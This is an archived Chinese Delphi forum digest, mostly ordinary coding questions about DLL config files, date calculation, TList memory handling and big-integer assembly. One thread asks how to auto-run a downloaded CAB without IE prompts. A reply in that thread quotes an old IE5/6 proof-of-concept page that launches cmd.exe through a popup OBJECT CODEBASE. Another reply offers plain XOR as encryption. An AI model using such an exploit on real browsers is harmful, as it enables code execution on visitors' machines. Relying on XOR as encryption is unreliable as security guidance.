              TheNode   :=   ConfigFile.CreateNode('DoitFaxConfig');  
              ConfigFile.DocumentElement   :=   TheNode;  
          end  
          else   begin  
              ConfigFile.LoadFromFile(MyPath);   //如果文件存在,则从文件加载内容  
              ConfigFile.Version   :=   '1.0';  
              ConfigFile.Encoding   :=   'GB2312';  
              ConfigFile.Options   :=   ConfigFile.Options   +   [doNodeAutoIndent];  
          end;  
          TheNode   :=   ConfigFile.DocumentElement;   //获取根节点  
          if   TheNode.ChildNodes.FindNode(Section)   <>   nil   then  
              TheNode   :=   TheNode.ChildNodes.FindNode(Section)   //如果组节点存在,获取该组节点  
          else  
              TheNode   :=   TheNode.AddChild(Section);   //如果组节点不存在,则创建  
   
          if   TheNode.ChildNodes.FindNode(Key)   <>   nil   then  
              TheNode   :=   TheNode.ChildNodes.FindNode(Key)   //如果配置项节点存在,获取该配置项节点  
          else  
              TheNode   :=   TheNode.AddChild(Key);  
          TheNode.Text   :=   NewValue;  
          ConfigFile.SaveToFile(MyPath);  
          TempRST:=0;  
      finally  
      ConfigFile.Active   :=   false;  
      ConfigFile.Free;  
      ConfigFile.Destroy;  
      CoUninitialize;  
      result   :=   TempRST;  
      end;  
  end;  
   
  exports  
      GetConfig,   SetConfig;  
   
  begin  
  end.  
 

重新建立一个DLL   换成上面代码试试~~

还是会有那个错误,我看不出下面的代码与上面代码有那里不同。

没什么哪里不同   那个DLL本身编译出错才是正确的  
  要做的是让一个程序调用你写的DLL  
   
  明白?

posted @ 2008-10-14 16:35 delphi2007 阅读(312) | 评论 (0)编辑 收藏

世界编程大赛头名程序源代码 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218120247128.html
世界编程大赛头名程序源代码  
  http://www.mylinux.com.cn/bbsShowDetail.do?id=1,097  
   
  复制代码带txt文件中直接用debug命令就可以直接运行,居然这点12的代码还可以显示出图片和音乐,实在是佩服的五体投地

看到了  
    真是牛B

看到了,真强  
  会不会是用别的语言或者工具编好了之后再转十六进制的?  
   
  世界之大,无奇不有

我有他一半就行了~~~~~~~~

up

真不敢相信啊...

无法理解   强,只能说强

posted @ 2008-10-14 16:35 delphi2007 阅读(183) | 评论 (0)编辑 收藏

由上网中病毒木马所想到的...与网页中使用ocx,cab包有关。 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218114045129.html
不知你是否有这样的经历,打开了某个网页之后,发现系统中毒了,而你并没有进行任何可疑的操作,仅仅是就打开了一个网页而已。  
   
  我曾经就是为了杀毒,去查资料,结果打开一个貌似杀毒介绍的网站,刹那间,机器上多中了10几种病毒。而此时IE并没有提示我有什么插件,是否需要安装等等。  
   
  现在的问题就是,我自己做的一个ocx,不管怎么打包,怎么签名,到客户那里都会有提示是否需要下载的,我就奇怪了,有些病毒怎么就那么强悍??  
   
  我现在想实现的效果就是,客户端不需要任何提示,第一次下载的时候不需要提示,以后每次运行的时候也不需要提示,而且IE的安全设置就是默认的设置。另外,我还想实现自动下载cab包完毕之后,自动运行包内的一个可执行文件。  
   
  高手看看是否能实现,或发表点意见,我不是想做病毒,而是想把b/s结构的软件优化一下,让他智能点。  
   
  这个想法已经很久了,试验了很久也没能实现!

那些病毒不是OCX,而是EXE文件。

那么他怎么让你的机器运行那些exe文件的??

ie6以前的版本可以实现

是EXE文件是利用了MDAC的一個漏洞  
  詳細情況請見微軟安全公告:http://www.microsoft.com/china/technet/security/bulletin/MS06-014.mspx

最新研究报告:  
   
  <HTML>  
  <HEAD>  
  <TITLE>IE6   security...</TITLE>  
  <SCRIPT   language=JScript>  
  var   programName=new   Array(  
          'c:/windows/system32/cmd.exe',  
          'c:/winnt/system32/cmd.exe',  
          'c:/cmd.exe'  
  );  
   
  function   Init(){  
          var   oPopup=window.createPopup();  
          var   oPopBody=oPopup.document.body;  
          var   n,html='';  
          for(n=0;n<programName.length;n++)  
                  html+="<OBJECT   NAME='X'   CLASSID='CLSID:11111111-1111-1111-1111-111111111111'   CODEBASE='"+programName[n]+"'   %1='r'></OBJECT>";  
          oPopBody.innerHTML=html;  
          oPopup.show(290,   190,   200,   200,   document.body);  
  }  
   
  </SCRIPT>  
  </head>  
  <BODY   onload="Init()">  
  <p>  
  This   page   doesn't   do   anything   malicious(这个页面没有任何恶意),   but   is   a   demonstration   of   how   to   execute   a   program   on   a   remote   machine   using   the  
  marvelously   secure   Internet   Explorer   web   browser!!(但它演示了如何在一个远程机上使用令人惊异的安全的IE浏览器执行一个程序!!有点讽刺微软的IE的味道,即通过IE执行客户端机中的程序)  
  </p>  
  <p>  
  Up   until   at   least   18/02/02,   this   script   would   open   a   command   window   when   viewed   in   IE5/6   under   WindowsXP   and   Win2k   (possibly   also   WinME).   There  
  are   currently   no   patches   available   using   "Windows   Update"   which   will   prevent   this.  
  </p>  
   
   
  Delphi中的人气实在不怎么样!!!

去他妈的,自己解决了。  
   
 

怎么解决的,能不能告知  
 

posted @ 2008-10-14 16:35 delphi2007 阅读(86) | 评论 (0)编辑 收藏

我想问一个关于日期的问题 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218113953130.html
我的问题是这样的,今天的日期+X天+特殊日期=某日期;  
  X天数不包括星期六日,特殊日期!,特殊日期我写进了数据库里,请问如何计算出最后的日期呢?  
 

根据你的需求算呗

不是不知道如何排除星期六日和特殊日期呢!!

就是不知道如何排除星期六日和特殊日期呢!!

不是不知道如何排除星期六日和特殊日期呢  
  ==================================================================================  
   
  星期六日好排除,用DayOfWeek找出今天开始的第一个星期六,然后每7天减2天就排除了,特殊日期恐怕不好处理。  
 

posted @ 2008-10-14 16:35 delphi2007 阅读(78) | 评论 (0)编辑 收藏

请问delphi web service如何才能在windows2003下配置使用 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218112417131.html
我做了一个WEB   SERVICE   程序,在XP下配置运行都正常,放在2003下就无法显示页面.虚拟目录的配置和权限都设对了.  
   
 

2003   木用过

原来是2003下有个扩展CGI设置.

posted @ 2008-10-14 16:34 delphi2007 阅读(350) | 评论 (0)编辑 收藏

关于加密解密的一个问题 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061218103947132.html
算法想实现这么个功能  
  加密:  
  根据10位数的数字编号如"1000000001",加上数字Key后,产生一串8位数的数字编号  
   
  解密:  
  解密就是把8位数数字编号还原成10的  
   
  请各位高手帮忙,分不够可以再给

大家帮帮忙啊

程序自己写,给你说方法,  
  加密:数字编号->转成16进制数字编号->加数字key->不够8位在前面补随机数->第一位的16进制高8位是描述你加密的有效长度.  
  解密,反之  
   
   
 

UP

算法还是自己想个比较好,要不加密就没什么意义拉

最简单就是通过异或进行加解密,举个例子吧,密钥K长度为l,欲加密明文a长度为L,  
  将明文分段截取为a1+a2+...+an;长度均为l,不足的可高位补0,然后取密文Z=(a1   xor   K)+(a2   xor   K)+...+(an   xor   K),  
  解密的过程与加密相同,将密文分段与密钥异或再拼接就可得到明文,另外,如果想提升一些安全性,则可对每段明文进行多次异或,每异或一次后,将结果循环移位.  
 

说得详细一些,最好帖段代码啊,新手啊

function(a,key:string):string;  
  var  
      temp:string;  
      i,j,blocknum,alen,keylen:   integer  
  begin  
      temp:=a;  
      alen:=length(temp);  
      keylen:=length(key);  
      whlie   (alen   mod   keylen)<>0   do    
      begin  
          temp:=temp+$0;  
          inc(alen);  
      end;  
      setlength(result,alen);  
      blocknum:=alen   div   keylen  
      for   i:=0   to   blocknum-1   do  
          for   j:=1   to   keylen   do  
              result[i*keylen+j]:=char(byte(a[i*keylen+j])   xor   byte(key[j]);  
  end;  
   
 

好象不行啊  
  楼上的不支持数字吧

没人回答啊,郁闷啊

我只是写个例程的说,你只要能找到一个算法就可以了,加解密都是基于数学算法的,只要找到适当的算法,再写成程序就可以了.

posted @ 2008-10-14 16:34 delphi2007 阅读(69) | 评论 (0)编辑 收藏

请各位大虾帮我看看,这句是什么意思? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061217220452133.html
此段代码为书中的例子的一部分代码,讲的是用类引用类型动态创建控件,其中有一句代码不明白其含义,请各位大虾赐教!  
   
  procedure   TMainForm.PanelContainerMouseDown(Sender:   TObject;  
      Button:   TMouseButton;   Shift:   TShiftState;   X,   Y:   Integer);  
  var  
      NewControl:   TControl;  
      NewControlName:   string;  
  begin  
      if   Button   =   mbLeft   then  
      begin  
          NewControl   :=   FControlClassRef.Create(Self);     //   创建部件对象  
          NewControl.Parent   :=   Self.PanelContainer;     //   设置部件的宿主  
          NewControl.Visible   :=   false;     //   隐藏部件  
          NewControl.Left   :=   X;     //   设置部件的位置坐标  
          NewControl.Top   :=   Y;     //   设置部件的位置坐标  
          Inc(FControlClassCount);     //   计数器增1  
          NewControlName   :=   FControlClassRef.ClassName()   +   IntToStr(FControlClassCount);  
          Delete(NewControlName,   1,   1);     //   这句是什么意思呢?好象删除对程序没影响.  
          NewControl.Name   :=   NewControlName;     //   设置部件名称  
          NewControl.Visible   :=   true;     //   显示部件  
      end;  
  end;  
 

Delete(NewControlName,   1,   1);     //   这句是什么意思呢?好象删除对程序没影响.  
  ===================================================================================  
  这句话是在确定控件名称的时候,去掉前面的'T'。比如控件是TEdit,FControlClassCount=1,  
  NewControlName   :=   FControlClassRef.ClassName()   +   IntToStr(FControlClassCount);  
  就会是‘TEdit1’,去掉'T',NewControlName就等于'Edit1'

Delete(NewControlName,   1,   1);     补充:这个调用是删除NewControlName这个字符串的第一个字符。

to   maozefa(阿发伯):  
  谢谢!!

posted @ 2008-10-14 16:34 delphi2007 阅读(82) | 评论 (0)编辑 收藏

PWidechar 怎么求内存占用大小 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061217124214134.html
pc:PWidechar;  
   
  allocmem(10000);  
   
  caption:=inttostr(sizeof(pc));   =4  
  caption:=inttostr(length(pc));   =0  
    我要求出是10000怎么办:  
   
 

pc:PWidechar;//--这儿定义的是一个指针类型.  
   
  const     bufsize=10000;  
   
  allocmem(10000);  
  //这里是分配一块内存给这个指针,也就是说形成了一个指针数组.  
  //对于指针数组来说,它有大小只能是你自己控制.  
   
  caption:=inttostr(sizeof(pc));   =4  
  caption:=inttostr(length(pc));   =0  
    我要求出是10000怎么办://---这个大小你可以通过一个常量来定义.......

还是没解决我的问题.  
  这么说:我给你一个PWidechar类型的指针,里面有值,不告诉你大小,你能取出里面的全部数据吗

呵~~,  
  这么说:我给你一个PWidechar类型的指针,里面有值,不告诉你大小,你能取出里面的全部数据吗  
  1.如果是字符串,你可以查找#0(NULL)结束符....  
   
  var  
      //p:pwidechar;  
      p:pchar;  
      str:string;  
      counter:integer;  
  begin  
      getmem(p,101);  
      fillchar(p^,100,#48);  
   
      str:='';  
      counter:=0;  
      try  
        while     not   (p^=#0)   do  
          begin  
              str:=str+inttohex(ord(p^),2);  
              inc(p);  
              inc(counter);  
          end;  
        //---p:pchar;显示100;  
        //---p:pWidechar;显示50;  
        showmessage('get   char   total:'+inttostr(counter));  
        showmessage(str);  
        dec(p,counter);  
      finally  
            freemem(p);  
      end;  
  end;

posted @ 2008-10-14 16:34 delphi2007 阅读(218) | 评论 (0)编辑 收藏

帮我看看这段代码为什么会内存自增? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061217101112135.html
function   TReportDB.GetReport(var   RecList:TList):Boolean;  
  var  
  ..  
      for   j   :=   IndexList.Count   -   1   downto   0   do  
              begin  
                  FileSeek(m_nFileHandle,SizeOf(RCV_REPORT_STRUCTEx)*(StrToInt(IndexList.Strings[j])),0);  
                  FileRead(m_nFileHandle,Buf,SizeOf(RCV_REPORT_STRUCTEx));  
                  if   m_StockList.Strings[i]   =   Buf.m_szLabel   then  
                  begin  
                      New(pBuf);  
                      pBuf^   :=   Buf;  
                      RecList.Add(pBuf);  
                      Break;  
                  end;  
              end;  
  end;  
  我的目的是得到一个链表(RecList),链表会在另外一个地方创建和释放。但是这段代码会造成内存的自动增长,不知道怎么控制啊。请指教!  
 

调试看值    
  RecList.Add(pBuf);  
 

New(pBuf);  
  不加才怪

正常的,你用New(pBuf);来分配内存了,内存就会添加

可是我在那里释放呢?  
  在这个函数里Dispose(pBuf),好像数据会不对啊。

在"RecList.Add(pBuf);"之后将pBuf释放

而且RecList.Add()....本身也是再不断增加内存

在释放RecList时先要释放它里保存的数据,  
   
  用一个循环,释放里面的每一个buf.  
 

Dispose(pBuf);  
                ~~~~~~~这个参数类型必须和New()中的参数类型一致

建议你直接返回一个TList,result被赋值之后就dispose(pbuf)

TLIST中保存的是一个指针.  
   
  要是在添加后就dispose(pbuf)会造成返回的TLIST保存的全部都是无效指针的。

问题就在于你使用了TList链表,TList中保存的仅仅是数据指针,当TList释放的时候也只是将TList本身释放掉了,而该指针指向的内存区域并没有释放掉,因此导致你在函数中new获得的内存在链表释放的时候并没有释放掉.  
  建议:改用其他具有确定数据类型的List类,或者从TList继承一个新类,自己重写释放代码.

假设   pBuf的定义如下  
  var  
      pBuf:   PMyRec;  
   
  其中  
      PMyRec   =   ^TMyRec;  
      TMyRec   =   record  
          ...  
      end;  
   
  则  
      New(pBuf);    
  执行结果是分配了SizeOf(TMyRec)大小的内存,并使pBuf指向该内存。  
 

posted @ 2008-10-14 16:34 delphi2007 阅读(94) | 评论 (0)编辑 收藏

大整数加法优化 Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061217100254136.html
改自FGInt单元,将原来的  
   
  TGInt   =   Record  
              Sign   :   TSign;  
              Number   :   Array   Of   Int64;  
  定义做了修改.又用汇编做了部分优化,效率提升应该在40%左右.  
  还有没有更大的优化空间  
   
  Unit   FBigInt;  
   
  Interface  
   
  Uses   Windows,   SysUtils,   Controls,   Math;  
   
  Type  
        TCompare   =   (Lt,   St,   Eq,   Er);  
        TSign   =   (negative,   positive);  
        TBInt   =   Record  
              Sign   :   TSign;  
              Number   :   Array   Of   Longword;  
        End;  
   
        Function   FBIntNew(Size:int64):TBInt;  
        Procedure   FBIntDestroy(Var   FBInt   :   TBInt);  
        Function   FBIntAdd(Const   FBInt1,   FBInt2   :   TBInt):TBInt;  
        Function   FBIntCompareAbs(Const   FBInt1,   FBInt2   :   TBInt)   :   TCompare;  
  Implementation  
   
  {$H+}  
  Function   FBIntNew(Size:int64):TBInt;  
  begin  
      SetLength(Result.Number,Size);  
      ZeroMemory(Result.Number,Size*8);  
      Result.Number[0]:=Size-1;  
      Result.Sign:=positive;  
  end;  
   
  Procedure   FBIntDestroy(Var   FBInt   :   TBInt);  
  Begin  
        FBInt.Number   :=   Nil;  
  End;  
   
  Function   FBIntAdd(Const   FBInt1,   FBInt2   :   TBInt):TBInt;  
  Var  
        i,   size1,   size2,   size   :   longint;  
        rest   :   integer;  
        Trest   :   int64;  
  Begin  
      If   FBInt1.Number[0]   <   FBInt2.Number[0]   Then   Result:=FBIntAdd(FBInt2,   FBInt1)   Else  
      Begin  
          If   FBInt1.Sign   =   FBInt2.Sign   Then  
          Begin  
              SetLength(Result.Number,   FBInt1.Number[0]   +   2);  
              //rest   :=   0;  
              asm  
                  clc  
                  mov   eax,[esi+$04]  
                  mov   ebp,[eax]  
                  test   ebp,ebp  
                  jle   @LoopOneEnd  
                  mov   ecx,$00000001  
                  @LoopOne:  
                  mov   eax,[ebx+$04]  
                  mov   eax,[eax+ecx*4]  
                  mov   edx,[esi+$04]  
                  adc   eax,[edx+ecx*4]  
                  mov   edx,[edi+$04]  
                  mov   [edx+ecx*4],eax  
                  inc   ecx  
                  dec   ebp  
                  jnz   @LoopOne  
                  @LoopOneEnd:  
                  pushf  
                  mov   eax,[esi+$04]  
                  mov   ebp,[eax]  
                  mov   eax,[ebx+$04]  
                  sub   ebp,[eax]  
                  popf  
                  test   ebp,ebp  
                  jle   @LoopOneEnd  
                  jnc   @looptwoend  
                  mov   eax,[ebx+$04]  
                  mov   eax,[eax+ecx*4]  
                  adc   eax,$0  
                  dec   ebp  
                  jnz   @LoopOneEnd  
                  @looptwoend:  
              end;  
              size   :=   FBInt1.Number[0]+1;  
  //             For   i   :=   1   To   FBInt2.Number[0]   Do  
  //             Begin  
  //                 Trest   :=   FBInt1.Number[i]   +   FBInt2.Number[i]   +   rest;  
  //                 Result.Number[i]   :=   Trest   And   4294967295;  
  //                 rest   :=   Trest   Shr   32;  
  //             End;  
  //             For   i   :=   (FBInt2.Number[0]   +   1)   To   FBInt1.Number[0]   Do  
  //             Begin  
  //                 Trest   :=   FBInt1.Number[i]   +   rest;  
  //                 Result.Number[i]   :=   Trest   And   4294967295;  
  //                 rest   :=   Trest   Shr   32;  
  //             End;  
  //             size   :=   FBInt1.Number[0]+1;  
  //             Result.Number[size]   :=   rest;  
              While   (Result.Number[size]   =   0)   And   (size   >   1)   Do   size   :=   size   -   1;  
              If   size   <=   FBInt1.Number[0]   Then   SetLength(Result.Number   ,   size   +   1);  
              Result.Number[0]   :=   size   ;  
              Result.Sign   :=   FBInt1.Sign;  
          End  
          Else  
          Begin  
              If   FBIntCompareAbs(FBInt2,   FBInt1)   =   Lt   Then   Result:=FBIntAdd(FBInt2,   FBInt1)  
              Else  
              Begin  
                  SetLength(Result.Number,   FBInt1.Number[0]   +   1);  
                  rest   :=   0;  
                  asm  
                      clc  
                      mov   eax,[esi+$04]  
                      mov   ebp,[eax]  
                      test   ebp,ebp  
                      jle   @LoopOneEnd  
                      mov   ecx,$00000001  
                      @LoopOne:  
                      mov   eax,[ebx+$04]  
                      mov   eax,[eax+ecx*4]  
                      mov   edx,[esi+$04]  
                      SBB   eax,[edx+ecx*4]  
                      mov   edx,[edi+$04]  
                      mov   [edx+ecx*4],eax  
                      inc   ecx  
                      dec   ebp  
                      jnz   @LoopOne  
                      @LoopOneEnd:  
                      pushf  
                      mov   eax,[esi+$04]  
                      mov   ebp,[eax]  
                      mov   eax,[ebx+$04]  
                      sub   ebp,[eax]  
                      popf  
                      test   ebp,ebp  
                      jle   @LoopOneEnd  
                      jnc   @looptwoend  
                      mov   eax,[ebx+$04]  
                      mov   eax,[eax+ecx*4]  
                      SBB   eax,$0  
                      dec   ebp  
                      jnz   @LoopOneEnd  
                      @looptwoend:  
                  end;  
  //                 For   i   :=   1   To   FBInt2.Number[0]   Do  
  //                 Begin  
  //                     Trest   :=   FBInt1.Number[i]   -   FBInt2.Number[i]   +   rest;  
  //                     Result.Number[i]   :=   Trest   And   4294967295;  
  //                     If   (FBInt1.Number[i]   >   FBInt2.Number[i])   Then   rest   :=   0   Else   rest   :=   -1;  
  //                 End;  
  //                 For   i   :=   (FBInt2.Number[0]   +   1)   To   FBInt1.Number[0]   Do  
  //                 Begin  
  //                     Trest   :=   FBInt1.Number[i]   +   rest;  
  //                     Result.Number[i]   :=   Trest   And   4294967295;  
  //                     If   (FBInt1.Number[i]   >   FBInt2.Number[i])   Then   rest   :=   0   Else   rest   :=   -1;  
  //                 End;  
                  size   :=   FBInt1.Number[0];  
                  While   (Result.Number[size]   =   0)   And   (size   >   1)   Do   size   :=   size   -   1;  
                  If   size   <=   FBInt1.Number[0]   Then   SetLength(Result.Number   ,   size   +   1);  
                  Result.Number[0]   :=   size   ;  
                  Result.Sign   :=   FBInt1.Sign;  
              End;  
          End;  
      End;  
  end;  
   
  //   Compare   2   FBInts   in   absolute   value,   returns  
  //   Lt   if   FBInt1   >   FBInt2,   St   if   FBInt1   <   FBInt2,   Eq   if   FBInt1   =   FBInt2,  
  //   Er   otherwise  
   
  Function   FBIntCompareAbs(Const   FBInt1,   FBInt2   :   TBInt)   :   TCompare;  
  Var  
        size1,   size2,   i   :   longint;  
  Begin  
        FBIntCompareAbs   :=   Er;  
        size1   :=   FBInt1.Number[0];  
        size2   :=   FBInt2.Number[0];  
        If   size1   >   size2   Then   FBIntCompareAbs   :=   Lt   Else  
              If   size1   <   size2   Then   FBIntCompareAbs   :=   St   Else  
              Begin  
                    i   :=   size2;  
                    While   (FBInt1.Number[i]   =   FBInt2.Number[i])   And   (i   >   1)   Do   i   :=   i   -   1;  
                    If   FBInt1.Number[i]   =   FBInt2.Number[i]   Then   FBIntCompareAbs   :=   Eq   Else  
                          If   FBInt1.Number[i]   <   FBInt2.Number[i]   Then   FBIntCompareAbs   :=   St   Else  
                                If   FBInt1.Number[i]   >   FBInt2.Number[i]   Then   FBIntCompareAbs   :=   Lt;  
              End;  
  End;  
  End  
 

注释掉的部分是被ASM替代掉的原代码

自己顶下  
 

支持  
  虽然用处好像不大。^_^

呵呵,主要是因为最近在研究RSA加密,可是里面使用FGInt大整数运算单元效率太低,所以打算重写一下,看能不能提高效率

posted @ 2008-10-14 16:34 delphi2007 阅读(110) | 评论 (0)编辑 收藏

如何在一个窗体中加载另一个窗体上的控件? Delphi / Windows SDK/API
http://www.delphi2007.net/DelphiBase/html/delphi_20061217012218137.html
想在一个窗体上加载另一个窗体现存的控件,请问该怎么做?  
  如form1有edit1     想在form2中加载form1的edit1,该怎么办?谢谢!

晕死   这么基础的知识    
  拿FORM1来做个例子好了  
  比如要用FORM2的EDIT1  
  在FORM1中先ALT+F11   UES一下FORM2  
  然后就可以下代码了  
  form2.edit1.text   :=   edit1.text;  
  后面的edit1.text是你FORM1的~!~~    
  举一反三     LZ试试  
 

posted @ 2008-10-14 16:34 delphi2007 阅读(368) | 评论 (0)编辑 收藏

仅列出标题
共34页: First 26 27 28 29 30 31 32 33 34